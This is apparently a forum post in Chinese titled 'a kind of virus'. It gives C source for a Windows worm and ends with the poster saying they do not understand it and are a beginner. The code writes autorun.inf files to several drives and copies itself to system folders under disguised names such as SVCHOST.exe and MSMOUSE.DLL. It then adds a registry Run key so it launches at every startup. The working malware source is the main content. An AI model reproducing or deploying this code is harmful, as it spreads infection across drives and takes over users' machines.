一种病毒

#define SVCHOST_NUM 6
#include<stdio.h>
#include<bits/stdc++.h>
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";
int copy(char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen
(outfile,"wb"))!=NULL))
{
  while(!feof(input))
  {
   fread(&temp,1,1,input);
   fwrite(&temp,1,1,output);
  }
  fclose(input);
  fclose(output);
  return 0;
}
else return 1;
}
int main(void)
{
  FILE *input,*output;
  int i,k;
  for(i=0;i<3;i++)
{
output=fopen(files_autorun[i],"w");
fprintf(output,"%s",autorun);
fclose(output);
}
for(i=0;i<=SVCHOST_NUM;i++)
{
  if((input=fopen(files_svchost[i],"rb"))!=NULL)
  {
   fclose(input);
   for(k=0;k<SVCHOST_NUM;k++)
   {
    copy(files_svchost[i],files_svchost[k]);
   }
   i=SVCHOST_NUM+1;
  }
}
system(regadd); /* 注册SVCHOST.exe,让其在启动时运行 */
return 0;
}

看不明白，我是菜鸟